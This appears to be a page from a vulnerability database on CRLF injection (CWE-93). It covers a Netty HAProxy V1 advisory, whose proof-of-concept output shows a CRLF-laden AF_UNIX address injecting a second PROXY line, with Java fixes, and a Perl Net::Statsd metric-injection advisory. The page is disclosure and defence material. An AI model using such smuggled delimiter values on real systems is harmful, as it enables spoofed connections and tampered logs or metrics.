address: \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\"\n  Wire format:\n    PROXY UNIX_STREAM /var/run/app.sock\\r\n    PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\\r\n\n  PROXY lines found: 2\n  VULNERABLE: YES - Second PROXY line injected!\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Validate AF_UNIX Addresses for CRLF\n\n```java\n// HAProxyMessage.java checkAddress() - add for AF_UNIX:\ncase AF_UNIX:\n    ObjectUtil.checkNotNull(address, \"address\");\n    byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);\n    if (addrBytes.length \u003e 108) {\n        throw new IllegalArgumentException(\"invalid AF_UNIX address: too long\");\n    }\n    for (byte b : addrBytes) {\n        if (b == \u0027\\r\u0027 || b == \u0027\\n\u0027) {\n            throw new IllegalArgumentException(\n                \"AF_UNIX address contains prohibited CRLF character\");\n        }\n    }\n    return;\n```\n\n### Option 2: Validate in Encoder\n\n```java\n// HAProxyMessageEncoder.java encodeV1() - validate before writing:\nprivate static void validateV1Address(String address) {\n    for (int i = 0; i \u003c address.length(); i++) {\n        char c = address.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027 || c == \u0027 \u0027) {\n            throw new HAProxyProtocolException(\n                \"V1 address contains prohibited character at index \" + i);\n        }\n    }\n}\n```\n\n## 8. References\n\n- [HAProxy PROXY Protocol v1 Specification](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)",
  "id": "GHSA-wh89-7897-x99h",
  "modified": "2026-07-22T21:51:40Z",
  "published": "2026-07-22T21:51:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address"
}

GHSA-WJP4-MF92-6WH6

Vulnerability from github – Published: 2026-06-04 18:30 – Updated: 2026-06-04 21:31
VLAI
Details

Net::Statsd versions before 0.13 for Perl allow metric injections.

The metric names are not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.

The update_stats (used for updating counters) and gauge methods do not check that values are numeric (which would block metric injection).

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-46739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-04T17:16:32Z",
    "severity": "MODERATE"
  },
  "details": "Net::Statsd versions before 0.13 for Perl allow metric injections.\n\nThe metric names are not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.\n\nThe update_stats (used for updating counters) and gauge methods do not check that values are numeric (which would block metric injection).",
  "id": "GHSA-wjp4-mf92-6wh6",
  "modified": "2026-06-04T21:31:21Z",
  "published": "2026-06-04T18:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46739"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cosimo/perl5-net-statsd/pull/10"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46719"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46720"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Implementation

Avoid using CRLF as a special sequence.

Mitigation
Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

← Back to the CWE list